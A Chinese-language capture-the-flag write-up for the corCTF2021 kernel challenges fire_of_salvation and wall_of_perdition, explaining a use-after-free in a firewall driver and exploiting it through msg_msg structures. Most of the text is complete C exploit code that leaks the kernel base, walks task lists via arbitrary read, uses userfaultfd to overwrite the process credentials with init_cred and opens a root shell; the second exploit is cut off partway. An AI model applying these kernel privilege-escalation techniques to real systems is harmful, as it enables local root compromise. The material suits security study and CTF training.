【msg_msg】corCTF2021-msgmsg 套题

前言

该套题共两题,一道简单模式 fire_of_salvation,一道困难模式 wall_of_perdition,都是关于 msg_msg 的利用的。这题跟之前的 TPCTF2023 core 的很像(应该是 TPCTF2023 core 跟他很像,bushi)。

其中 fire_of_salvation 是一个 0x1000 大小的 UAF,可以写 UAF obj 的前 0x20 字节或者 0x30 字节。而 wall_of_perdition 是一个 0x40 大小的 UAF,可以写 UAF obj 的前 0x20 字节或者 0x30 字节。

这题给的内核版本是 v5.8.0,而这个题目是 2021 年的,dirty pipe 是 2022 年曝的,所以不出意外的话,这题的内核应该本身带有 drity pipe,经过测试的确如此:这里笔者不会介绍 dirty pipe nday 直接打,感兴趣可以看之前的文章。

漏洞分析

保护:kaslr、smap、smep、kpti,并且还开了如下保护:比较显眼的就是 FG_KASLR 了,但是没有开 MEMGE 所以可以利用的结构体还是比较多的。

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=y
# CONFIG_SLAB_MERGE_DEFAULT is not set

这题给了源码(?),笔者找到的题目是包含源码的,不知道比赛的时候给没给源码 

题目给了增、删、改的功能, 其中漏洞点如下:

static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");
 
    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");
        return ERROR;
    }
 
    kfree(firewall_rules[idx]);
    firewall_rules[idx] = NULL;
 
    return SUCCESS;
}
 
 
static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    uint8_t i;
    rule_t **dup;
 
    printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");
 
    dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
 
    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");
        return ERROR;
    }
 
    if (firewall_rules[idx]->is_duplicated)
    {
        printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");
        return ERROR;
    }
 
    for (i = 0; i < MAX_RULES; i++)
    {
        if (dup[i] == NULL)
        {
            dup[i] = firewall_rules[idx];
            firewall_rules[idx]->is_duplicated = 1;
            printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");
            return SUCCESS;
        }
    }
 
    printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");
 
    return ERROR;
}

当执行 dup 时, 会把入口规则的指针直接赋给出口规则. 而在 dele 时只会释放其中一个, 因此造成 UAF.

fire_of_salvation 跟 wall_of_perdition 唯一不同的就是 obj 的大小:可以看到在 easy_mode 下,obj 的大小为 0x1000;非 easy_mode 下,obj 的大小为 0x40。

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16]; 
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;

这里需要注意一下修改功能,其对漏洞利用比较重要:

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;
 
static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");
 
    #ifdef EASY_MODE
    printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");
    #endif
 
    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");
        return ERROR;
    }
    // 先修改了 iface/name, 即 rule_t 的前 0x20 字节
    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
    
    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
        return ERROR;
    }
 
    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
        return ERROR;
    }
 
    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;
 
    printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");
 
    return SUCCESS;
}

这里我们一次似乎只能且必须修改 0x30 字节,但是仔细看的话,可以发现其实我们可以只修改前 0x20 字节。因为这里是先修改了前 0x20 字节,然后再检测 ip、netmask 的合法性,所以如果我们让 ip 不合法,就可以只修改 0x20 字节了,这有什么用呢?

来看下 msg_msg 结构体:

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list; // 消息通过双向链表连接
	long m_type;			// 消息类型
	size_t m_ts;			// 消息的大小
	struct msg_msgseg *next;	// 消息数据
	void *security;
	/* the actual message follows immediately */
};

可以看到前 0x20 字节刚好到 m_ts,所以这里我们可以避免破坏 next 指针。

漏洞利用

fire_of_salvation

总体思路如下:

1)add、dupl 、dele 构造 0x1000 UAF obj

2)创建消息队列,并发送 0x1000-0x30-0x20-8 的消息,其中 msg_msg 会占据该 UAF obj

3)堆喷 shm_file_data,为泄漏 kernel_offset 做准备

4)UAF 修改 msg_msg 的 m_ts 字段为 0x2000-0x30-0x8,这里注意利用的 edit 修改前 0x20 字段,因为如果你修改 0x30 会将其 next 指针破坏

5)消息队列越界读泄漏 kernel_offset,从而得到 init_task 地址

6)UAF 修改 msg_msg 的 m_ts 和 next 字段实现任意读,通过遍历 init_task 的 tasks 链表找到当前进程的 task_struct,从而得到 cur_cred

7)add、dupl、dele 重新构造一个 0x1000 UAF obj

8)创建消息队列,并发送 0x1000-0x30+0x10 的消息。而消息结构体的创建和数据拷贝是分开进行的,所以可以在拷贝 msg_msg 的时候用 userfaultfd 将其卡住,然后利用 UAF 修改其 next 为 cur_cred,这样当写 msg_seg 的时候就会覆写 cur_cred 了。

越界读泄漏内核基址

创建一个大小为 0x1000-0x30+0x20-8 大小的消息去占据 UAF 堆块, 然后修改其 m_ts 实现越界读.这时我们可以堆喷大量的 shm_file_data, 从而去泄漏 init_ipc_ns. 该全局指针不会进行二次随机化, 所以可以绕过 FG_KASLR.

任意读寻找 current task_struct

有了内核基址后, 就可以找到 init_task 地址了, 然后可以利用任意读去遍历其子进程即 tasks 字段, 从而找到当前进程的 task_struct.

而我们知道读 msg_msgseg 时, 其终止的标志为其 next=NULL. 所以这就要求 target_addr - 8 = NULL (当然也不一定这样, 比如 target_addr-0x18=NULL也是可以的, 反正就是要找到一个 NULL 位置). 而这里比较 Nice 的是 tasks-8 就是 NULL. tasks 字段的偏移是 0x298

任意写修改 current cred

当我们调用 msgsnd 系统调用时, 其会调用 load_msg() 将用户空间数据拷贝到内核空间中. 首先是调用 alloc_msg() 分配 msg_msg 单向链表, 之后才是正式的拷贝过程, 即空间的分配与数据的拷贝是分开进行的.

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

    // 空间分配
	msg = alloc_msg(len); // 分配 msg 所需空间
	
    // 数据拷贝
	alen = min(len, DATALEN_MSG); // 一个 msg 包含 header 最大为1页
	if (copy_from_user(msg + 1, src, alen)) // msg+1 就是数据空间
		goto out_err;
	// 当消息的长度大于0xfd0时, 注意复制结束的标志是 seg->next = NULL
	for (seg = msg->next; seg != NULL; seg = seg->next) { // 0xfd0之后的数据存储在 msg_msgseg 结构体中
		len -= alen;								// msg_msgseg 包含 header 最大也是1页
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
......
}

如果在拷贝时利用 userfaultfd/FUSE 将拷贝停下来, 在子进程中篡改 msg_msg 的 next 指针, 在恢复拷贝之后便会向我们篡改后的目标地址上写入数据,从而实现任意地址写

并且 real_cred 前也为 NULL:

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

# define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

void convert(char* buf, uint32_t num)
{
        sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}

void generate(char* buf, user_rule_t* rule)
{
        char tmp[16] = { 0 };
        uint32_t ip = *(uint32_t*)&buf[32];
        uint32_t netmask = *(uint32_t*)&buf[36];

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, ip);
        memcpy(rule->ip, tmp, 16);

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, netmask);
        memcpy(rule->netmask, tmp, 16);

        memcpy(rule->iface, buf, 16);
        memcpy(rule->name, &buf[16], 16);
        memcpy(&rule->proto, &buf[0x28], 2);
        memcpy(&rule->port, &buf[0x28+2], 2);
        memcpy(&rule->action, &buf[0x28+2+2], 1);
}

int fd;
void add(uint8_t idx, char* buf, int type)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, ADD_RULE, &rule);
}

void dele(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DELE_RULE, &rule);
}

void edit(uint8_t idx, char* buf, int type, int flag)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        if (flag)
        {
                strcpy(rule.ip, "invalid");
                strcpy(rule.netmask, "invalid");
        }
        ioctl(fd, EDIT_RULE, &rule);
}

void dupl(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DUP_RULE, &rule);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_msg {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

size_t init_ipc_ns;
size_t kernel_offset;
size_t init_task = 0xffffffff81c124c0;
size_t init_cred = 0xffffffff81c33060;

size_t target_idx;
size_t target_addr;
char copy_src[0x1000];

void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                *(uint64_t*)(copy_src) = 0;
                *(uint64_t*)(copy_src+8) = init_cred;
                *(uint64_t*)(copy_src+0x10) = init_cred;
                char buffer[0x1000] = { 0 };
                struct msg_msg evil = { 0 };
                evil.m_type = 1;
                evil.m_ts = 0x1000-0x30+0x10;
                evil.next = target_addr;
                memcpy(buffer, &evil, sizeof(evil));
                edit(target_idx, buffer, OUTBOUND, 0);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        fd = open("/dev/firewall", O_RDWR);
        if (fd < 0) err_exit("open /dev/firewall");

        int qid;
        int shm_id;
        char tmp[0x2000] = { 0 };
        char buffer[0x1000] = { 0 };
        struct msg_msg evil;
        struct msg_buf* msg_buf;
        msg_buf = (struct msg_buf*)tmp;

        add(0, buffer, INBOUND);
        dupl(0, INBOUND);

        if ((qid = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("msgget");
        dele(0, INBOUND);
        msg_buf->m_type = 1;
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x20-8, 0) < 0) err_exit("msgsnd");

        for (int i = 0; i < 0x50; i++)
        {
                if ((shm_id = shmget(IPC_PRIVATE, 100, 0666)) < 0) err_exit("shmget");
                if (shmat(shm_id, NULL, 0) < 0) err_exit("shmat");
        }

        memset(&evil, 0, sizeof(evil));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;
        memcpy(buffer, &evil, sizeof(evil));
        edit(0, buffer, OUTBOUND, 1);
        int res = msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30+0x20-8) err_exit("failed to hit UAF chunk");
        binary_dump("OOR DATA", msg_buf->m_text+0xfd0, 0x100);
        for (int i = 0; i < 0xfd0 / 0x20; i++)
        {
                if (((*(size_t*)(msg_buf->m_text+0xfd0+0x20*i))&0xfff) == 0x7a0)
                {
                        init_ipc_ns = *(size_t*)(msg_buf->m_text+0xfd0+0x20*i);
                        break;
                }
        }

        kernel_offset = init_ipc_ns - 0xffffffff81c3d7a0;
        init_task += kernel_offset;
        init_cred += kernel_offset;
        hexx("init_ipc_ns", init_ipc_ns);
        hexx("kernel_offset", kernel_offset);
        hexx("init_task", init_task);
        hexx("init_cred", init_cred);

        uint32_t pid, cur_pid;
        uint64_t prev, curr;
        pid = -1;
        cur_pid = getpid();
        hexx("current pid", cur_pid);
        prev = init_task + 0x298;
        memset(&evil, 0, sizeof(evil));
        memset(buffer, 0, sizeof(buffer));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;

        while (pid != cur_pid)
        {
                curr = prev - 0x298;
                evil.next = prev - 8;
                memcpy(buffer, &evil, sizeof(evil));
                edit(0, buffer, OUTBOUND, 0);
                memset(msg_buf, 0, sizeof(msg_buf));
                msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                memcpy(&prev, msg_buf->m_text+0xfd8, 8);
                memcpy(&pid, msg_buf->m_text+0x10d0, 4);
                hexx(" searched pid", pid);
        }
        hexx("current task_struct", curr);

        pthread_t thr;
        char* uffd_buf = mmap(0, 2*0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf < 0) err_exit("mmap for uffd_uffd");
        msg_buf = (struct msg_buf*)(uffd_buf+0x30);
        msg_buf->m_type = 1;
        register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);

        target_idx = 1;
        target_addr = curr + 0x530;
        memset(buffer, 0, sizeof(buffer));
        add(1, buffer, INBOUND);
        dupl(1, INBOUND);
        dele(1, INBOUND);
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x10, 0) < 0) err_exit("msgsnd to triger userfaultfd");
        hexx("UID", getuid());
        system("/bin/sh");
        puts("[+] END");
        return 0;
}

效果如下:

wall_of_perdition

TPCTF2023 core 跟这个题目几乎一模一样,在 TPCTF2023 core 的文章中,介绍了两种方法,这里笔者采用的是 msg_msg 实现任意读写,毕竟 2021 年还没有 dirty pipe 呢。

注:wall_of_perdition 是比 TPCTF2023 core 早的,但是笔者做 wall_of_perdition 比较晚,所以文章中出现了一些 wall_of_perdition 跟 TPCTF2023 core 比较像的言论,读者无需在意

exp 如下:跟 TPCTF2023 core 的 exp 几乎一样,原理在 TPCTF2023 core 中讲了,这里就贴个 exp。当然感兴趣的可以尝试构造 dirty pipe

成功率还行,失败的主要原因在于堆喷的 msg_msg 不在同一个 0xfd0 区域中

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

//#define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

void convert(char* buf, uint32_t num)
{
        sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}

void generate(char* buf, user_rule_t* rule)
{
        char tmp[16] = { 0 };
        uint32_t ip = *(uint32_t*)&buf[32];
        uint32_t netmask = *(uint32_t*)&buf[36];

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, ip);
        memcpy(rule->ip, tmp, 16);

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, netmask);
        memcpy(rule->netmask, tmp, 16);

        memcpy(rule->iface, buf, 16);
        memcpy(rule->name, &buf[16], 16);
        memcpy(&rule->proto, &buf[0x28], 2);
        memcpy(&rule->port, &buf[0x28+2], 2);
        memcpy(&rule->action, &buf[0x28+2+2], 1);
}

int fd;
void add(uint8_t idx, char* buf, int type)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, ADD_RULE, &rule);
}

void dele(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DELE_RULE, &rule);
}

void edit(uint8_t idx, char* buf, int type, int flag)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        if (flag)
        {
                strcpy(rule.ip, "invalid");
                strcpy(rule.netmask, "invalid");
        }
        ioctl(fd, EDIT_RULE, &rule);
}

void dupl(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DUP_RULE, &rule);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}


int qid;
char copy_src[0x1000];
char *uffd_buf1, *uffd_buf2;
uint64_t ll_next = -1, ll_prev = -1;
size_t cred_cred = 0;
int pipe_fd[3][2];

void* handler_1(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler_1");
                write(pipe_fd[0][1], "g", 1);

                *(uint64_t*)(copy_src + 8) = 0;
                *(uint64_t*)(copy_src + +0x10) = 1;
                *(uint64_t*)(copy_src + +0x18) = 0x2000-0x30-8;
                *(uint64_t*)(copy_src + +0x20) = cred_cred - 8;
                *(uint64_t*)(copy_src + +0x28) = 0;
                char w[1];
                read(pipe_fd[2][0], w, 1);
                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
                write(pipe_fd[1][1], "g", 1);
        }
}

void* handler_2(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler_2");
                char w[1];
                write(pipe_fd[2][1], "g", 1);
                read(pipe_fd[1][0], w, 1);
                sleep(1);
                memset(copy_src, 0, sizeof(copy_src));
                *(int*)copy_src = 1;
                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* thread_handler1(void* arg)
{
        puts("[+] thread_handler1 start to work");
        int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
        char buf[0x2000];
        struct msg_buf* msg = (struct msg_buf*)(uffd_buf1+0x30);
        msg->m_type = 1;
        if (msgsnd(qqid, msg, 0x2000-0x30-8, 0) < 0)
                err_exit("FAILED to send 0x2000 msg in thread_handler1");
        puts("[+] thread_handler1 over");
        return NULL;
}

void* thread_handler2(void* arg)
{
        char w[1];
        read(pipe_fd[0][0], w, 1);
        puts("[+] thread_handler2 start to work");
        uint64_t buf[0x30/8];
        char buff[0x2000];
        buf[0] = ll_prev;
        buf[1] = ll_prev;
        buf[2] = 1;
        buf[3] = 0x10;
        buf[4] = ll_next;
        buf[5] = 0;
        edit(0, (char*)buf, OUTBOUND, 0);
        int res = msgrcv(qid, buff, 0x10, 1, IPC_NOWAIT|MSG_NOERROR);
        hexx("  msgrcv to free data size", res);
